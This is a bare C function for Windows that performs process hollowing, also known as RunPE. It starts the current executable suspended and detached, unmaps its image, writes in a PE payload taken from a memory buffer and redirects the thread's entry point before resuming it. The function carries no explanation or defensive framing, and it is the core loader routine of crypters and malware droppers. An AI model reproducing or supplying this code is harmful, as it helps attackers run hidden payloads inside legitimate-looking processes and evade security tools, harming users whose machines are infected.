BOOL MemoryExecute(LPBYTE buf, LPWSTR cmd)
{
    PIMAGE_DOS_HEADER pidh = (PIMAGE_DOS_HEADER)&buf[0];
    PIMAGE_NT_HEADERS pinh = (PIMAGE_NT_HEADERS)&buf[pidh->e_lfanew];
    PIMAGE_SECTION_HEADER pish;
    PROCESS_INFORMATION pi;
    STARTUPINFO si;
    CONTEXT ctx;
    WCHAR path[MAX_PATH];
    WORD s = 0;

    if (!GetModuleFileName(NULL, path, MAX_PATH))
  return FALSE;

    RtlZeroMemory(&si, sizeof(STARTUPINFO));
    si.cb = sizeof(STARTUPINFO);
    ctx.ContextFlags = CONTEXT_FULL;

    if (CreateProcess(path, cmd, NULL, NULL, FALSE, CREATE_SUSPENDED | DETACHED_PROCESS, NULL, NULL, &si, &pi)) {
  if (NtUnmapViewOfSection(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase) == STATUS_SUCCESS) {
    if (NtAllocateVirtualMemory(pi.hProcess, (PVOID *)&pinh->OptionalHeader.ImageBase, 0, &pinh->OptionalHeader.SizeOfImage,
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) == STATUS_SUCCESS) {
    NtWriteVirtualMemory(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase, &buf[0],
    pinh->OptionalHeader.SizeOfHeaders, NULL);

    while (s < pinh->FileHeader.NumberOfSections) {
    pish = (PIMAGE_SECTION_HEADER)&buf[pidh->e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * s++];

    NtWriteVirtualMemory(pi.hProcess, (PVOID)(pinh->OptionalHeader.ImageBase + pish->VirtualAddress),
    &buf[pish->PointerToRawData], pish->SizeOfRawData, NULL);
    }

    NtGetContextThread(pi.hThread, &ctx);

    ctx.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint;

    NtSetContextThread(pi.hThread, &ctx);
    NtResumeThread(pi.hThread, NULL);

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);

    return TRUE;
    }
  }
    }

    return FALSE;
}